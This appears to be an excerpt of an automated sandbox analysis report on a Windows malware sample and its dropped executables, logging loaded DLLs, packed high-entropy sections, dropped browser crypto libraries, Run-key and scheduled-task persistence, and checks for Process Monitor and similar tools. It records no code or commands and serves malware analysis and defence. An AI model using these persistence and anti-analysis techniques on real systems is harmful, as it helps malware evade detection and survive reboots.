Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1792512 > 1048576

Source: file.exe

Static PE information: Raw size of flqmrefc is bigger than: 0x100000 < 0x19be00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1978958410.000000006F26D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: a247c36bcc.exe, 0000000F.00000003.2524112421.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, a247c36bcc.exe, 0000000F.00000002.2658328004.00000000009C2000.00000040.00000001.01000000.00000011.sdmp, a247c36bcc.exe, 00000013.00000002.2729990276.00000000009C2000.00000040.00000001.01000000.00000011.sdmp, a247c36bcc.exe, 00000013.00000003.2689627433.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1978958410.000000006F26D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.4b0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;flqmrefc:EW;pvhoknzu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;flqmrefc:EW;pvhoknzu:EW;.taggant:EW;
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Unpacked PE file: 9.2.DocumentsFIIIIJKFCA.exe.190000.0.unpack :EW;.rsrc:W;.idata :W;ssovaksk:EW;dbhiapag:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ssovaksk:EW;dbhiapag:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 10.2.skotes.exe.6c0000.0.unpack :EW;.rsrc:W;.idata :W;ssovaksk:EW;dbhiapag:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ssovaksk:EW;dbhiapag:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 11.2.skotes.exe.6c0000.0.unpack :EW;.rsrc:W;.idata :W;ssovaksk:EW;dbhiapag:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ssovaksk:EW;dbhiapag:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Unpacked PE file: 12.2.580f9a92c2.exe.900000.0.unpack :EW;.rsrc:W;.idata :W;cwxuffsy:EW;lloczfks:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cwxuffsy:EW;lloczfks:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Unpacked PE file: 13.2.971dbb906d.exe.b00000.0.unpack :EW;.rsrc :W;.idata :W; :EW;flqmrefc:EW;pvhoknzu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;flqmrefc:EW;pvhoknzu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Unpacked PE file: 15.2.a247c36bcc.exe.9c0000.0.unpack :EW;.rsrc:W;.idata :W;vtoiigyj:EW;nofiliyx:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Unpacked PE file: 17.2.580f9a92c2.exe.900000.0.unpack :EW;.rsrc:W;.idata :W;cwxuffsy:EW;lloczfks:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cwxuffsy:EW;lloczfks:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Unpacked PE file: 18.2.971dbb906d.exe.b00000.0.unpack :EW;.rsrc :W;.idata :W; :EW;flqmrefc:EW;pvhoknzu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;flqmrefc:EW;pvhoknzu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Unpacked PE file: 19.2.a247c36bcc.exe.9c0000.0.unpack :EW;.rsrc:W;.idata :W;vtoiigyj:EW;nofiliyx:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Unpacked PE file: 21.2.971dbb906d.exe.b00000.0.unpack :EW;.rsrc :W;.idata :W; :EW;flqmrefc:EW;pvhoknzu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;flqmrefc:EW;pvhoknzu:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsFIIIIJKFCA.exe.0.dr	Static PE information: real checksum: 0x32aca5 should be: 0x32f8d6
Source: file.exe	Static PE information: real checksum: 0x1c16a1 should be: 0x1bbd88
Source: skotes.exe.9.dr	Static PE information: real checksum: 0x32aca5 should be: 0x32f8d6
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x31820a should be: 0x30b658

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: flqmrefc
Source: file.exe	Static PE information: section name: pvhoknzu
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsFIIIIJKFCA.exe.0.dr	Static PE information: section name:
Source: DocumentsFIIIIJKFCA.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFIIIIJKFCA.exe.0.dr	Static PE information: section name: ssovaksk
Source: DocumentsFIIIIJKFCA.exe.0.dr	Static PE information: section name: dbhiapag
Source: DocumentsFIIIIJKFCA.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: cwxuffsy
Source: random[1].exe.0.dr	Static PE information: section name: lloczfks
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name: ssovaksk
Source: skotes.exe.9.dr	Static PE information: section name: dbhiapag
Source: skotes.exe.9.dr	Static PE information: section name: .taggant

Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_001AD91C push ecx; ret	9_2_001AD92F
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_001A1359 push es; ret	9_2_001A135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_006DD91C push ecx; ret	10_2_006DD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006DD91C push ecx; ret	11_2_006DD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006FDEDB push ss; iretd	11_2_006FDEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006DDFC6 push ecx; ret	11_2_006DDFD9

Source: file.exe	Static PE information: section name: flqmrefc entropy: 7.954460948272114
Source: DocumentsFIIIIJKFCA.exe.0.dr	Static PE information: section name: entropy: 7.122527539399749
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.035097708119594
Source: skotes.exe.9.dr	Static PE information: section name: entropy: 7.122527539399749

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFIIIIJKFCA.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsFIIIIJKFCA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFIIIIJKFCA.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 580f9a92c2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 971dbb906d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a247c36bcc.exe	Jump to behavior

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFIIIIJKFCA.exe

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsFIIIIJKFCA.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 580f9a92c2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 580f9a92c2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 971dbb906d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 971dbb906d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a247c36bcc.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a247c36bcc.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
